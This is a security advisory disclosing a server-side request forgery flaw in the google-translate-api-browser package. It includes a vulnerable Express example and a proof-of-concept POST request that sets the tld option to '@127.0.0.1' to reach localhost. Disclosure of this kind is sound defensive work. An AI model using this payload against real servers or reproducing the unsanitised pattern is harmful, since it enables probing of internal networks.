google-translate-api-browser Server-Side Request Forgery (SSRF) Vulnerability

Summary

A Server-Side Request Forgery (SSRF) Vulnerability is present in applications utilizing the google-translate-api-browser package and exposing the translateOptions to the end user. An attacker can set a malicious tld, causing the application to return unsafe URLs pointing towards local resources.

Details

The translateOptions.tld field is not properly sanitized before being placed in the Google translate URL. This can allow an attacker with control over the translateOptions to set the tld to a payload such as @127.0.0.1. This causes the full URL to become https://[email protected]/..., where translate.google. is the username used to connect to localhost.

PoC

Imagine a server running the following code (closely mimicking the code present in the package's README):

const express = require('express');
const { generateRequestUrl, normaliseResponse } = require('google-translate-api-browser');
const https = require('https');

const app = express();
app.use(express.json());

app.post('/translate', async (req, res) => {
    const { text, options } = req.body;

    const url = generateRequestUrl(text, options);

    https.get(url, (resp) => {
        let data = '';
      
        resp.on('data', (chunk) => {
          data += chunk;
        });
      
        resp.on('end', () => {
            res.json(normaliseResponse(JSON.parse(data)));
        });
      }).on("error", (err) => {
        console.log("Error: " + err.message);
      });
});

const port = 3000;
app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

An attacker can then send the following POST request to /translate:

POST /translate HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 51

{"text":"Hello","options": {"tld": "@127.0.0.1"}  }

This will cause a request to be sent to the localhost of the server running the Node application.

Impact

An attacker can send requests within internal networks and the local host. Should any HTTPS application be present on the internal network with a vulnerability exploitable via a GET call, then it would be possible to exploit this using this vulnerability.